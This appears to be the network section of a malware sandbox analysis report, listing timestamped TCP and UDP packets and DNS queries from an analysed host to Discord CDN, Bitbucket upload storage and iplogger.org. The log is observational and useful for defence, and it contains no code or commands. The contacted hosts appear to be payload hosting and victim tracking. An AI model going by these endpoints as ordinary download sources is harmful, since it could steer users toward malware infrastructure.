Aug 4, 2022 13:37:14.293754101 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293781042 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293809891 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293816090 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.293864965 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.293869972 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.295080900 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320386887 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320434093 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320524931 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320534945 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320574045 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320579052 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320607901 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320627928 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320708990 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320744038 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320781946 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320790052 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320822954 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320844889 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.320863962 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.320996046 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321028948 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321058989 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321065903 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321114063 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321140051 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321151972 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321275949 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321320057 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321348906 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321356058 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321388960 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321424961 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321465969 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321584940 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321619987 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321647882 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321655035 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321708918 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321748972 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321775913 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321854115 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321871042 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321907997 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.321960926 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.321968079 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322020054 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322043896 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322050095 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322067976 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322113991 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322151899 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322159052 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322201014 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322238922 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322253942 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322361946 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322396040 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322442055 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322448969 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322501898 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322539091 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322545052 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322567940 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322602987 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322645903 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322658062 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322715998 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322761059 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.322797060 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322946072 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.322977066 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323028088 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323035955 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323090076 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323121071 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323126078 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323158979 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323198080 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323245049 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323251963 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323301077 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323365927 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323371887 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323386908 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323416948 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323463917 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323470116 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323518038 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323554039 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323555946 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323571920 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323597908 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323626041 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323632002 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323693037 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323699951 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323714972 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323751926 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323759079 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.323797941 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323832035 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.323839903 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:14.325891972 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.520061016 CEST	49838	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:14.520107031 CEST	443	49838	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:17.342863083 CEST	49850	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.366976023 CEST	80	49850	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.367091894 CEST	49850	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.370182991 CEST	49850	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.392919064 CEST	80	49850	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.392971992 CEST	80	49850	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.393059969 CEST	49850	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.645431042 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.645490885 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.645562887 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.646760941 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.646785021 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.735197067 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.735338926 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.743062019 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.743092060 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.743421078 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.743490934 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.743995905 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.779612064 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.779686928 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.779733896 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.779752970 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.783936024 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.783962011 CEST	443	49851	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:17.783967972 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:17.784029007 CEST	49851	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:19.100543976 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.100606918 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.100728989 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.104412079 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.104465008 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.435889006 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.436603069 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.467999935 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.468024015 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.480209112 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.480232954 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.655977964 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.656146049 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.656158924 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.656497002 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.834654093 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.834698915 CEST	443	49852	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:19.834714890 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:19.834764004 CEST	49852	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:20.671013117 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:20.671083927 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:20.671185017 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:20.675090075 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:20.675132036 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:21.096177101 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:21.096311092 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:21.097951889 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:21.097985029 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:21.102633953 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:21.102658033 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:21.435532093 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:21.435633898 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:21.435661077 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:21.435679913 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:21.435734034 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:21.438313007 CEST	49853	443	192.168.2.5	52.217.195.249
Aug 4, 2022 13:37:21.438335896 CEST	443	49853	52.217.195.249	192.168.2.5
Aug 4, 2022 13:37:37.175884962 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.175934076 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.176029921 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.176578045 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.176594019 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.510305882 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.510377884 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.513020992 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.513037920 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.516252995 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.516269922 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.702857018 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.702969074 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.702975035 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.703036070 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.730021954 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.730057001 CEST	443	49857	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.730067015 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.730112076 CEST	49857	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.976332903 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:37.976375103 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:37.976494074 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.085793972 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.085845947 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.421808004 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.421905041 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.431082964 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.431102037 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.431688070 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.431791067 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.434834003 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.475370884 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.638906002 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.639023066 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.639024019 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.639089108 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.659357071 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.659401894 CEST	443	49858	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:38.659415960 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:38.659967899 CEST	49858	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:41.854453087 CEST	49860	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:41.877270937 CEST	80	49860	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:41.877429008 CEST	49860	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:41.881800890 CEST	49860	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:41.904658079 CEST	80	49860	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:41.904691935 CEST	80	49860	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:41.904827118 CEST	49860	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.139621973 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.139672995 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.139766932 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.140829086 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.140858889 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.224989891 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.225102901 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.321908951 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.321949959 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.322824955 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.322951078 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.323651075 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.348609924 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.348726034 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.348745108 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.348797083 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.348808050 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.348860025 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.352150917 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.352173090 CEST	443	49861	148.251.234.83	192.168.2.5
Aug 4, 2022 13:37:42.352185011 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.352237940 CEST	49861	443	192.168.2.5	148.251.234.83
Aug 4, 2022 13:37:42.450512886 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:42.450592995 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:42.450973034 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:42.451242924 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:42.451276064 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:42.785255909 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:42.785420895 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:42.824563026 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:42.824594975 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:42.827404022 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:42.827414989 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:42.997447968 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:42.997560978 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:42.997601032 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:42.997631073 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:43.179639101 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:43.179692030 CEST	443	49864	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:43.179709911 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:43.179773092 CEST	49864	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:55.875540018 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:55.875601053 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:55.875688076 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:55.876159906 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:55.876189947 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:56.208636045 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:56.208714962 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:56.339438915 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:56.339459896 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:56.343435049 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:56.343455076 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:56.533387899 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:56.533474922 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:56.533488989 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:56.533585072 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:56.825094938 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:56.825135946 CEST	443	49868	104.192.141.1	192.168.2.5
Aug 4, 2022 13:37:56.825150967 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:37:56.827276945 CEST	49868	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.187855959 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.187901974 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.188226938 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.188781023 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.188796043 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.520978928 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.521296024 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.522098064 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.522106886 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.543384075 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.543404102 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.736917019 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.737013102 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.737029076 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.737077951 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.749661922 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.749696016 CEST	443	49873	104.192.141.1	192.168.2.5
Aug 4, 2022 13:38:12.749717951 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:12.749752998 CEST	49873	443	192.168.2.5	104.192.141.1
Aug 4, 2022 13:38:17.298835993 CEST	80	49850	148.251.234.83	192.168.2.5
Aug 4, 2022 13:38:17.298943043 CEST	49850	80	192.168.2.5	148.251.234.83
Aug 4, 2022 13:38:41.902627945 CEST	80	49860	148.251.234.83	192.168.2.5
Aug 4, 2022 13:38:41.902816057 CEST	49860	80	192.168.2.5	148.251.234.83

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2022 13:37:02.174352884 CEST	52333	53	192.168.2.5	8.8.8.8
Aug 4, 2022 13:37:02.195976973 CEST	53	52333	8.8.8.8	192.168.2.5
Aug 4, 2022 13:37:11.338922024 CEST	59933	53	192.168.2.5	8.8.8.8
Aug 4, 2022 13:37:11.360460997 CEST	53	59933	8.8.8.8	192.168.2.5
Aug 4, 2022 13:37:12.650947094 CEST	58312	53	192.168.2.5	8.8.8.8
Aug 4, 2022 13:37:12.670593023 CEST	53	58312	8.8.8.8	192.168.2.5
Aug 4, 2022 13:37:17.323028088 CEST	50381	53	192.168.2.5	8.8.8.8
Aug 4, 2022 13:37:17.340907097 CEST	53	50381	8.8.8.8	192.168.2.5
Aug 4, 2022 13:37:37.900140047 CEST	56784	53	192.168.2.5	8.8.8.8
Aug 4, 2022 13:37:37.920895100 CEST	53	56784	8.8.8.8	192.168.2.5
Aug 4, 2022 13:37:41.833470106 CEST	61384	53	192.168.2.5	8.8.8.8
Aug 4, 2022 13:37:41.852647066 CEST	53	61384	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 4, 2022 13:37:02.174352884 CEST	192.168.2.5	8.8.8.8	0x3e7a	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:11.338922024 CEST	192.168.2.5	8.8.8.8	0x4747	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:12.650947094 CEST	192.168.2.5	8.8.8.8	0xc4d1	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:17.323028088 CEST	192.168.2.5	8.8.8.8	0xd577	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:37.900140047 CEST	192.168.2.5	8.8.8.8	0xa686	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:41.833470106 CEST	192.168.2.5	8.8.8.8	0x9cd6	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 4, 2022 13:37:02.195976973 CEST	8.8.8.8	192.168.2.5	0x3e7a	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Aug 4, 2022 13:37:02.195976973 CEST	8.8.8.8	192.168.2.5	0x3e7a	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
